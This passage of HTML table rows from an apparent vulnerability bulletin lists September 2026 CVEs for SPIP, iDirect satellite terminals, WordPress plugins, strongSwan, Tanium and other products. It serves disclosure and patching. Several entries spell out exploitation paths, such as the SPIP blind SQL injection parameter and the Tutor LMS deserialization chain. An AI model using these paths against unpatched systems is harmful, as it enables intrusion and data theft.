&lt;td&gt;SPIP before 4.4.18 contains an unauthenticated blind SQL injection vulnerability in the public sitemap endpoint where the MySQL escaper spip_mysql_cite() in ecrire/req/mysql.php returns values unescaped when the target column is a date type and the supplied value matches the pattern of a word character followed by an open parenthesis. Attackers can supply a crafted value such as a time-based payload through the annee parameter in squelettes-dist/sitemap.xml.html to embed arbitrary SQL directly into the generated query, enabling time-based and boolean-based blind SQL injection that can expose arbitrary database content including the alea_ephemere secret used to sign action nonces.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72708&quot; target=&quot;_blank&quot;&gt;CVE-2026-72708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ST Engineering iDirect--Evolution iQSeries terminals&lt;/td&gt;
&lt;td&gt;A local privilege escalation vulnerability exists in the iDirect iQ200 VSAT terminal running firmware 23.0.1.0. The iQ200 is a rackmount satellite modem deployed across oil and gas, maritime, defense, and remote infrastructure as the primary, and often sole communications link for offshore rigs, vessels, and remote sites. Important context: the device ships from the factory with a pre-configured low-privilege local user account. This account is intended for field technicians who need shell access for maintenance and diagnostics but should not have full administrative control over the device. This built-in account provides the initial access required to exploit this vulnerability. No additional credentials need to be obtained or brute-forced.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-38056&quot; target=&quot;_blank&quot;&gt;CVE-2026-38056&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ST Engineering iDirect--Evolution iQSeries terminals&lt;/td&gt;
&lt;td&gt;The endpoint on the iDirect iQ200 VSAT terminal returns the complete device configuration as JSON, including the SECURITY section which contains MD5-crypt password hashes for the root SSH and web administration accounts. Any user with valid web credentials can extract these hashes and crack them offline using commodity hardware.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-38058&quot; target=&quot;_blank&quot;&gt;CVE-2026-38058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stellarwp--Event Tickets and Registration&lt;/td&gt;
&lt;td&gt;The Event Tickets and Registration plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Stripe OAuth return endpoint in all versions up to, and including, 5.27.4. This makes it possible for unauthenticated attackers to overwrite the site&#039;s Stripe merchant credentials (access tokens, publishable keys, and account ID), diverting all subsequent payment processing to the attacker&#039;s Stripe account.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3174&quot; target=&quot;_blank&quot;&gt;CVE-2026-3174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stellarwp--The Events Calendar&lt;/td&gt;
&lt;td&gt;The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.4 via the is_safe_widget_instance function. This is due to insufficient protection in is_safe_widget_instance, which can be bypassed because PHP fires magic methods during its pre-parse, combined with enable_rendering_widget_copied() forging a valid wp_hash integrity attribute before unserialize() is reached. This makes it possible for unauthenticated attackers to execute code on the server. This is exploitable without authentication or approval because the plugin&#039;s V2 single-event template runs do_blocks() over buffered comment HTML, and WordPress returns a moderation-hash URL that allows an unauthenticated commenter to immediately view their own pending comment, delivering the injected block markup to the vulnerable code path before any moderation occurs. This does require comments to be enabled and visible on events.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78006&quot; target=&quot;_blank&quot;&gt;CVE-2026-78006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stellarwp--The Events Calendar&lt;/td&gt;
&lt;td&gt;The The Events Calendar plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 6.17.3 via the parse_array function. This is due to insufficient validation of the widget &#039;classes&#039; map, allowing a plain-array payload to bypass the is_safe_widget_instance() object check and reach the callable-invocation sink in Element_Classes::parse_array(). This makes it possible for unauthenticated attackers to execute code on the server. Exploitation requires that the targeted site has comments enabled on tribe_events posts and that at least one comment containing a crafted wp:legacy-widget block has been submitted, as the attack chain is triggered when do_blocks() processes the single-event HTML including the comment area.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78159&quot; target=&quot;_blank&quot;&gt;CVE-2026-78159&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stiofansisland--UsersWP Front-end login form, User Registration, User Profile &amp;amp; Members Directory plugin for WP&lt;/td&gt;
&lt;td&gt;The UsersWP plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 1.2.70 via the upload_file_remove() AJAX handler. The plugin stores the value of an account &#039;file&#039; form field taken directly from $_POST when no real $_FILES upload is provided (process_account() calls uwp_validate_fields() and array_merges the result with the empty output of UsersWP_Files::validate_uploads()). At storage time the value is only checked with validate_file(), which passes any string that does not contain a literal &#039;../&#039;. When the value is later processed by upload_file_remove(), it is again gated with validate_file() and then normalized through uwp_get_file_relative_url(); that helper performs a global str_replace() of the uploads base URL against the stored URL, allowing a crafted URL containing embedded &#039;..&amp;lt;uploads-baseurl&amp;gt;&#039; tokens to collapse into &#039;../../&#039; traversal sequences after the last validation. The transformed value is then appended to the uploads base directory and passed to wp_delete_file() without any canonical containment check. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the affected site&#039;s server (including wp-config.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19991&quot; target=&quot;_blank&quot;&gt;CVE-2026-19991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strapi--strapi&lt;/td&gt;
&lt;td&gt;Strapi versions 4.x through 4.26.2 and 5.x before 5.48.1 contain a stored cross-site scripting vulnerability in the content manager WYSIWYG preview component that fails to strip script tags from rich text. An Author-role user can store malicious script tags in rich text fields that execute in an Editor or Super Admin&#039;s session when the preview pane is expanded, enabling account takeover.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90561&quot; target=&quot;_blank&quot;&gt;CVE-2026-90561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 4.2.0 through 6.0.7 has a NULL pointer dereference in the x509 plugin&#039;s attribute certificate parser.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78130&quot; target=&quot;_blank&quot;&gt;CVE-2026-78130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 5.1.3 through 6.0.7 has an infinite loop in the x509 plugin&#039;s attribute certificate parser for&amp;nbsp;ietfAttrSyntax.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78132&quot; target=&quot;_blank&quot;&gt;CVE-2026-78132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;libcharon in strongSwan 6.0.0 through 6.0.7 has a use-after-free in IKEv2 rekeying collision handling.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78133&quot; target=&quot;_blank&quot;&gt;CVE-2026-78133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strongSwan--strongSwan&lt;/td&gt;
&lt;td&gt;strongSwan 4.5.0 through 6.0.7 has Incorrect Access Control in the eap-ttls and eap-peap plugins because there can be a missing or mismatched inner EAP identity.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78134&quot; target=&quot;_blank&quot;&gt;CVE-2026-78134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libde265&lt;/td&gt;
&lt;td&gt;libde265 is an open source implementation of the h.265 video codec. Versions prior to 1.1.1 use signed 32-bit arithmetic to calculate pixel offsets, allowing a crafted HEVC stream with large image dimensions to trigger an integer overflow and cause out-of-bounds heap reads or writes, potentially disclosing data, corrupting memory, or crashing the decoder. Version 1.1.1 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54240&quot; target=&quot;_blank&quot;&gt;CVE-2026-54240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libde265&lt;/td&gt;
&lt;td&gt;libde265 is an open source implementation of the h.265 video codec. Versions prior to 1.1.1 use signed 32-bit arithmetic to calculate the sample adaptive offset input-buffer size, allowing a crafted HEVC stream with large dimensions and 16-bit luma samples to cause an integer overflow, an undersized allocation, and an out-of-bounds heap read that may expose heap data in decoded output or crash the decoder. Version 1.1.1 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54241&quot; target=&quot;_blank&quot;&gt;CVE-2026-54241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Studio Wombat--Advanced Product Fields Extended for WooCommerce&lt;/td&gt;
&lt;td&gt;Improper Limitation of a Pathname to a Restricted Directory (&#039;Path Traversal&#039;) vulnerability in Studio Wombat Advanced Product Fields Extended for WooCommerce allows Path Traversal. This issue affects Advanced Product Fields Extended for WooCommerce: from n/a through 3.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81789&quot; target=&quot;_blank&quot;&gt;CVE-2026-81789&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SUSE--Container suse/kiosk/tigervnc-x11vnc:1.14-63.8&lt;/td&gt;
&lt;td&gt;fs_read_glyphs() in the libXfont2 font-server client (src/fc/fserve.c) copies each glyph&#039;s bitmap into a single buffer. Existing checks validates only that the source slice (position, length) lies within the source bitmap buffer. It does not check whether the running destination cursor has exceeded the allocation. A malicious font server can send overlapping source offsets -- for example 1000 glyphs each referencing {position:0, length:64} with nbytes=64. Each individual source range passes the existing validation, but the cumulative writes total 64000 bytes into a 64-byte destination buffer. This is a heap buffer overflow with attacker-controlled content.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44950&quot; target=&quot;_blank&quot;&gt;CVE-2026-44950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SUSE--Container suse/kiosk/tigervnc-x11vnc:1.14-63.8&lt;/td&gt;
&lt;td&gt;fs_read_glyphs() in the libXfont2 font-server client (src/fc/fserve.c) indexes the per-character encoding[] array using num_chars from the FS_QueryXBitmaps16 reply, but that array was allocated with a size derived from num_extents in the separate FS_QueryXExtents16 reply. The two CARD32 fields are never cross-checked. A malicious or compromised font server can send a small num_extents (e.g. 1) in the extents reply, then a large num_chars (e.g. 100000) in the bitmaps reply. This causes attacker-controlled out-of-bounds heap read and writes.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59679&quot; target=&quot;_blank&quot;&gt;CVE-2026-59679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed a path traversal vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87023&quot; target=&quot;_blank&quot;&gt;CVE-2026-87023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed a path traversal vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87030&quot; target=&quot;_blank&quot;&gt;CVE-2026-87030&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed a SQL injection vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87034&quot; target=&quot;_blank&quot;&gt;CVE-2026-87034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87036&quot; target=&quot;_blank&quot;&gt;CVE-2026-87036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87075&quot; target=&quot;_blank&quot;&gt;CVE-2026-87075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an unauthorized code execution vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87021&quot; target=&quot;_blank&quot;&gt;CVE-2026-87021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Comply&lt;/td&gt;
&lt;td&gt;Tanium addressed an improper access controls vulnerability in Comply.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87072&quot; target=&quot;_blank&quot;&gt;CVE-2026-87072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Enforce&lt;/td&gt;
&lt;td&gt;Tanium addressed a server-side request forgery vulnerability in Enforce.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87084&quot; target=&quot;_blank&quot;&gt;CVE-2026-87084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Enforce&lt;/td&gt;
&lt;td&gt;Tanium addressed an unauthorized code execution vulnerability in Enforce.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87088&quot; target=&quot;_blank&quot;&gt;CVE-2026-87088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TBTAK BLGEM Software Technologies Research Institute--Pardus LightDM Greeter&lt;/td&gt;
&lt;td&gt;Incorrect Permission Assignment for Critical Resource vulnerability in TÃœBÄ°TAK BÄ°LGEM Software Technologies Research Institute Pardus LightDM Greeter allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Pardus LightDM Greeter: before 0.4.15.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79617&quot; target=&quot;_blank&quot;&gt;CVE-2026-79617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tdunning--t-digest&lt;/td&gt;
&lt;td&gt;t-digest versions 3.1 through 3.3 fail to validate centroid means during deserialization in MergingDigest.fromBytes, allowing attackers to inject NaN values that bypass validation checks. Attackers can craft malicious serialized digests containing NaN centroids that degrade sorting performance from O(n log n) to O(n squared), causing severe processing delays during merge operations.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87822&quot; target=&quot;_blank&quot;&gt;CVE-2026-87822&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tdunning--t-digest&lt;/td&gt;
&lt;td&gt;t-digest versions 3.1 through 3.3 contain a denial of service vulnerability in MergingDigest.fromBytes that fails to validate length and capacity fields from serialized data. Attackers can supply crafted serialized digests with mismatched header fields to trigger ArrayIndexOutOfBoundsException or NegativeArraySizeException, aborting the parsing thread.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87962&quot; target=&quot;_blank&quot;&gt;CVE-2026-87962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tenda--AC9&lt;/td&gt;
&lt;td&gt;A flaw has been found in Tenda AC9 15.03.05.14. This impacts the function R7WebsSecurityHandler of the component Web Management. This manipulation causes improper authentication. The attack may be initiated remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86300&quot; target=&quot;_blank&quot;&gt;CVE-2026-86300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tesseract-ocr--tesseract&lt;/td&gt;
&lt;td&gt;Tesseract is an open source OCR engine. In version 5.5.3 and earlier, UNICHARSET::load_via_fgets in src/ccutil/unicharset.cpp trusts the declared unichar count as a loop bound and uses id as an unchecked index into the unichars vector. unichar_insert_backwards_compatible can leave the vector unchanged for an empty, duplicate, or already-encodable representation, causing id to become larger than unichars.size(). Subsequent set_* calls and the write to unichars[id].properties.enabled then write UNICHAR_PROPERTIES beyond the vector during initialization in both the default LSTM and legacy engines, causing heap corruption, a crash, or potentially controlled corruption. No fixed release is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88052&quot; target=&quot;_blank&quot;&gt;CVE-2026-88052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The NetBSD Foundation--NetBSD&lt;/td&gt;
&lt;td&gt;NetBSD contains a use-after-free and double-free vulnerability in msg_recv_copyin() within the COMPAT_NETBSD32 compatibility layer due to a missing return statement before the cleanup label on the success path. Any local user able to execute a 32-bit binary on a 64-bit NetBSD system can trigger a kernel panic or memory corruption by calling recvmsg() with msg_iovlen between 9 and IOV_MAX, causing the kernel to access a freed iovec buffer and subsequently free the same allocation a second time.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57842&quot; target=&quot;_blank&quot;&gt;CVE-2026-57842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The OpenNMS Group--Horizon&lt;/td&gt;
&lt;td&gt;A missing authorization vulnerability in OpenNMS Horizon allows configuration changes without authentication. The Spring Security policy for the /api/v2 REST API defines authorization rules for every HTTP method except PATCH, so the shipped @PATCH configuration endpoints for event configuration and SNMP data collection (which enable and disable event definitions and data-collection sources) are reachable with no authorization enforced. An unauthenticated attacker able to reach the web UI can disable event definitions and SNMP data collection, suppressing event and alarm generation and stopping metric collection - silently degrading monitoring and detection - with the change persisted and reloaded into the running system. The solution is to upgrade to Horizon 36.0.4 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization&#039;s private networks and should not be directly accessible from the Internet.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89054&quot; target=&quot;_blank&quot;&gt;CVE-2026-89054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ThemeRex--ThemeREX Addons&lt;/td&gt;
&lt;td&gt;Unauthenticated PHP Object Injection in ThemeREX Addons &amp;lt; 2.45.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62105&quot; target=&quot;_blank&quot;&gt;CVE-2026-62105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--Kirki Freeform Page Builder, Website Builder &amp;amp; Customizer&lt;/td&gt;
&lt;td&gt;The Kirki - Freeform Page Builder, Website Builder &amp;amp; Customizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;comment&#039; parameter in all versions up to, and including, 6.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17037&quot; target=&quot;_blank&quot;&gt;CVE-2026-17037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themeum--Tutor LMS eLearning and online course solution&lt;/td&gt;
&lt;td&gt;The Tutor LMS - eLearning and online course solution plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 4.0.7 via the `withdraw_method_field` parameter of the `tutor_save_withdraw_account` AJAX handler. This is due to the handler lacking any capability or role check, relying solely on a nonce, while also passing attacker-supplied values through `esc_sql()`, which replaces every `%` character with a 66-byte HMAC placeholder token before the data is serialized and stored via `update_user_meta()`; when the meta is later retrieved, the placeholder is collapsed back to a single `%`, leaving serialized string length declarations 65 bytes greater than the actual content, and because array keys originate from entirely unescaped POST field names, `unserialize()` over-reads into attacker-controlled bytes, allowing injection of an arbitrary serialized object stream. This makes it possible for authenticated attackers, with subscriber-level access and above, to achieve remote code execution on the server by triggering the `GuzzleHttp\Cookie\FileCookieJar` POP chain, reachable via the `spl_autoload_register` loader in `TUTOR\RestAPI` which loads the plugin&#039;s own bundled PayPal Composer autoloader, writing attacker-controlled content to an attacker-specified filename. This has an unauthenticated pathway when user registration is enabled, which is common for students and teachers to register, and it requires the monetization feature to be enabled.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78175&quot; target=&quot;_blank&quot;&gt;CVE-2026-78175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;league/commonmark versions before 2.6.0 contain polynomial time complexity vulnerabilities in Markdown parsing that allow attackers to cause denial of service. Attackers can submit carefully crafted Markdown inputs designed to trigger worst-case performance, and sending multiple requests in parallel exhausts CPU resources and PHP-FPM processes.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-58382&quot; target=&quot;_blank&quot;&gt;CVE-2024-58382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;commonmark versions from 1.5.0 before 2.10.0 contain a denial of service vulnerability in the AttributesExtension when processing distinctly-named attributes. Attackers can submit Markdown with numerous distinct attribute names to cause quadratic-time attribute merging and filtering, consuming disproportionate CPU resources and preventing legitimate requests from completing.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86428&quot; target=&quot;_blank&quot;&gt;CVE-2026-86428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
&lt;td&gt;The league/commonmark (thephpleague/commonmark) library in versions &amp;gt;= 1.5.0 and &amp;lt; 2.9.1 contains quadratic parsing complexity in its SmartPunctExtension and AttributesExtension. When either extension is explicitly registered on the Environment (they are not enabled by default and are excluded from the standard CommonMark and GitHub-Flavored Markdown converters), an unauthenticated attacker can submit small, specially crafted Markdown documents - such as text alternating with unpaired quotes, contiguous runs of block-level attribute blocks, or repeated class attributes - to trigger disproportionate CPU consumption and cause a denial of service. Fixed in 2.9.1.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86429&quot; target=&quot;_blank&quot;&gt;CVE-2026-86429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;thephpleague--commonmark&lt;/td&gt;
